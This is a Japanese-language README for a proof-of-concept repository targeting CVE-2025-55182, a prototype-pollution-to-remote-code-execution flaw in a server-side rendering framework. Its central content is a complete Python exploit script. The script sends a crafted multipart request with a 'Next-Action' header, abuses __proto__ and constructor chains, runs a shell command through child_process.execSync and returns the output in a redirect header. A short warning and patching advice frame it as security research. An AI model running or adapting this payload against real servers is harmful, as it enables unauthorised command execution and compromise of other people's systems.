このリポジトリは、特定のサーバーサイドレンダリング実装におけるプロトタイプ汚染からリモートコード実行(RCE)に至る脆弱性である CVE-2025-55182 の概念実証(PoC)を含んでいます。
⚠️ 警告: このPoCは、教育、研究、および個人または管理された環境での許可されたセキュリティテストのみを目的としています。許可なくシステムで不正に使用することは違法です。
この脆弱性は、未検証のユーザー入力が内部のJavaScriptオブジェクト構造(プロトタイプ汚染)に注入された場合に発生します。特定の実行フローと組み合わせることで、任意のコード実行につながる可能性があります。
このPoCでは、__proto__ や constructor などのチェーンされたプロパティを使用して、汚染を実行コンテキストに昇格させます。
以下は、脆弱性がどのように悪用されるかを示す exploit.py です:
import requests
import json
url = "http://localhost:3000"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
}
prefix = "var res=process.mainModule.require('child_process').execSync('id').toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
files = {
"0": (
None,
json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"application/json",
),
"1": (None, "\"$@0\""),
}
response = requests.post(url, headers=headers, files=files)
print("Headers:", response.headers.get('x-action-redirect'))
python3 exploit.py
ローカル環境または開発環境でのみ実行してください。
この脆弱性が実際のプロジェクトに影響を与える場合は、メンテナンス担当者からリリースされた最新のセキュリティパッチを確認し、インストールしてください。
child_process の実行を制限または無効にしてくださいMIT License